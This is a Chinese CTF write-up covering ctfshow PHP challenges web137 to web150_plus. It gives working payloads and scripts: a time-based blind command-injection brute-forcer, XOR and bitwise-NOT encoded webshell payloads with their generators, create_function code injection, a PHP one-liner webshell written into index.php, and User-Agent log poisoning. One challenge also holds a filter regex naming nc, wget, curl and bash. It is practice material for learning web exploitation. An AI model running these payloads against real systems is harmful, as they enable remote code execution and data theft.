    static function getFlag(){
    
    
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']); 

这里开始接触到类了,这里直接调用getFlag类即可

POST:ctfshow=ctfshow::getFlag

然后查看源码即可

web138

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    
    
    function __wakeup(){
    
    
        die("private class");
    }
    static function getFlag(){
    
    
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    
    
    die("private function");
}

call_user_func($_POST['ctfshow']); 

唉哟哟哟,strripos()函数,查找xxx在字符串中最后一次出现的位置,如果大于-1就退出函数,意思是不让用冒号了呗

这里还是看call_user_func函数

在这里插入图片描述

可以使用数组

所以payload

POST:ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

 <?php
error_reporting(0);
function check($x){
    
    
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
    
    
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    
    
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    
    
    highlight_file(__FILE__);
}
?> 

web136 plus?

通过尝试之前的操作,发现再次访问时页面还是在当前页面,所以猜测无法写入文件了

这里涉及到了shell编程和盲注。其实就相当于盲注文件名字和文件内容

截取字符串可以用awk等命令,cut可以分割字符
判断命令执行结果可以用shell编程的if语句和sleep()函数

这里来实验一下,首先在当前目录写入一个flag.php

this is flag.php
your flag is:
flag{test_a_flag}

在这里插入图片描述

使用awk

在这里插入图片描述

再使用cut命令切割

在这里插入图片描述

通过if和sleep来判断,因此可以写出脚本。

先查看根目录,文件的名字,举例:

在这里插入图片描述

然后这里等的稍微有点久

import requests
url = 'http://8989567d-f261-4a8a-9cef-004ab4b81cc8.challenge.ctf.show'
res = ''
for i in range(1,10):
    for j in range(1,20):
        for k in range(32,128):
            k = chr(k)
            payload = "?c="+f"if [ `ls / | awk NR=={
      
      i} | cut -c {
      
      j}` == {
      
      k} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload,timeout=(1.5,1.5))
            except:
                res += k
                print(res)
                break
    res += '  '

趁此机会把读flag的exp写了,然后发现就只需要把ls /改成 cat /文件名即可,算了慢慢等吧

然后因为我这个校区网速问题连2秒都会少字符。。。。。。。。。。

在这里插入图片描述

应该和136是一样的,为f149_15_h3r3,但是这校区网真的卡的离谱1.5都timeout了笑死我还学个毛

import requests
url = 'http://8989567d-f261-4a8a-9cef-004ab4b81cc8.challenge.ctf.show'
res = ''
for j in range(1,60):
    for k in range(32,128):
        k = chr(k)
        payload = "?c="+f"if [ `cat /f149_15_h3r3 | cut -c {
      
      j}` == {
      
      k} ];then sleep 2;fi"
        try:
            requests.get(url=url+payload,timeout=(1.5,1.5))
        except:
            res += k
            print(res)
            break
res += ' '

在这里插入图片描述

web140

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    
    
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
    
    
        if(preg_match('/^[a-z0-9]+$/', $f2)){
    
    
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
    
    
                echo file_get_contents("flag.php");
            }
        }
    }
} 

f1和f2是[a-z0-9],intval获取变量整数值

弱比较表

在这里插入图片描述

注意到整数0在和"php"字符串做比较的时候返回的是0,所以构造出0即可

f1=sha1&f2=sha1

web141

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/^\W+$/', $v3)){
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

正则的内容是
在这里插入图片描述

这里用无字母数字webshell,v1和v2都可以随便填

dotast:然后v1和v2就随意填,v3填构造出的payload即可,但注意的是这里有个return干扰,所以我们要在v3的payload前边和后面加上一些字符就可以执行命令,例如\+ - * 等等
?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

看到flag.php,再去构造flag.php即可,这里可以看博客:https://blog.csdn.net/miuzzx/article/details/109143413 (羽师傅博客)

?v1=1&v2=1&v3=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");

web142

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    
    
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
    
    
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
} 

也就等 5.1879761014816e+14 秒而已

?v1=0

然后查看源代码

web143

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

web141 plus

不让取反而已嘛,还有注意过滤了分号,还是用141的办法,但是这里过滤了的特殊字符也要写进编写的脚本中

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*

flag.php index.php

?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")*

脚本(dotast):

# -- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/10 12:56
# blog: www.wlhhlc.top
import requests
import urllib
import re

# 生成可用的字符
def write_rce():
    result = ''
    preg = '[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;'
    for i in range(256):
        for j in range(256):
            if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):
                k = i ^ j
                if k >= 32 and k <= 126:
                    a = '%' + hex(i)[2:].zfill(2)
                    b = '%' + hex(j)[2:].zfill(2)
                    result += (chr(k) + ' ' + a + ' ' + b + '\n')
    f = open('xor_rce.txt', 'w')
    f.write(result)


# 根据输入的命令在生成的txt中进行匹配
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return (output)


def main():
    write_rce()
    while True:
        s1 = input("\n[+] your function:")
        if s1 == "exit":
            break
        s2 = input("[+] your command:")
        param = action(s1) + action(s2)
        print("\n[*] result:\n" + param)

main()

web144


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
    
    
        if(preg_match('/^\W+$/', $v2)){
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    
    
    return strlen($str)===1?true:false;
}

web143 plus === web141 proplus

这次是换成了v2,用web141的payload

?v1=1&v3=1&v2=*("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%0c%01%07%00%0b%08%0b"^"%7c%60%60%20%60%60%60%60%2e%7b%60%7b");

web145

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

web144 plus === web143 proplus === web141 proplusmax

过滤的更多,而且不能用^,但是能取反

但* ; + -都被ban掉了,之前说v3前后都要有这些

fuzz之后发现|也能用 https://blog.csdn.net/miuzzx/article/details/109143413

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

最终payload

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web146

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    
    
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
    
    
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
    
    
                die('get out hacker!');
        }
        else{
    
    
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
} 

ProMaxpluspro

还是没有过滤 ~,继续用上一题的payload

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web147

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    
    
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
    
    
        $ctfshow('',$_GET['show']);
    }

}

RCE

这里看hint

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法

这里利用create_function()进行代码注入

string create_function ( string $args , string $code )

string $args 变量部分

string $code 方法代码部分

#举例
create_function('$funcname','echo $funcname."Mumuzi"')
#等同于下面的函数
function f($funcname) {
    
    
    echo $funcname."Mumuzi";
}
/*
#如果第二个参数(代码)是这样的:
echo 1;}phpinfo();/*
#那么用函数来表示是这样的:
*/
function f($funcname){
    
    
    echo 1;
}
phpinfo();/*}
#即执行完echo 1之后,又执行phpinfo(),然后用/*注释掉后面的语句

因此构造出payload

GET:?show=echo mumuzi;}system("tac f*");/*

POST:ctf=\create_function

web148

#什么是变量?
include 'flag.php';
if(isset($_GET['code'])){
    
    
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
    
    
        die("error");
    }
    @eval($code);
}
else{
    
    
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    
    
    echo file_get_contents("flag.php");
}

异或。脚本用之前的(web141plus),改一下preg即可

web149

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    
    
    if(is_file($file)){
    
    
        if ($file !== "index.php") {
    
    
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    
    
    if(is_file($file)){
    
    
        if ($file !== "index.php") {
    
    
            unlink($file);
        }
    }
} 

不是index.php就会被删除

那么把一句话写进index.php就行了

GET:?ctf=index.php

POST:show=<?php @eval($_GET[1]);?>

然后访问index.php,GET传1=system(‘tac /ctfshow_fl0g_here.txt’);

web150

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    
    
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
    
    
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
    
    
        echo $this->secret;
    }

    public function isVIP(){
    
    
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
    
    
        if(isset($class)){
    
    
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    
    
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    
    
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    
    
    include($ctf);
}


日志包含,UA写一句话。QUERY_STRINGextract使isvip为1(web127)

import requests
url = "http://888cbe1b-d96b-4304-9502-4ba090d23aee.challenge.ctf.show/" + "?isVIP=1"
headers = {
    
    
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0<?php @eval($_POST[1]);?>'
}
data = {
    
    
    'ctf': '/var/log/nginx/access.log',
    '1':'system("tac f*");'
}
r = requests.post(url=url, headers=headers, data=data).text
print(r)

web150_plus

题目说修复了非预期,然后能明显看到ctf里面不能有log,正好就是修复了日志包含

这里就联想到了竞争(session文件包含),但是现在ctfshow设了限制很难做到成功竞争。

看一下hint

这个题一点点小坑__autoload()函数不是类里面的 __autoload — 尝试加载未定义的类 最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦 原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用 __autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo 接下来就去getshell啦

这里__autoload()可以看https://www.php.cn/php-weizijiaocheng-426838.html

然后…CTFSHOW…利用的就是php的特性,即空格、[、.、+自动转换为_

因此payload

?..CTFSHOW..=phpinfo

然后搜ctfshow{即可,因为写入了环境

猜你喜欢

转载自blog.csdn.net/qq_42880719/article/details/122545119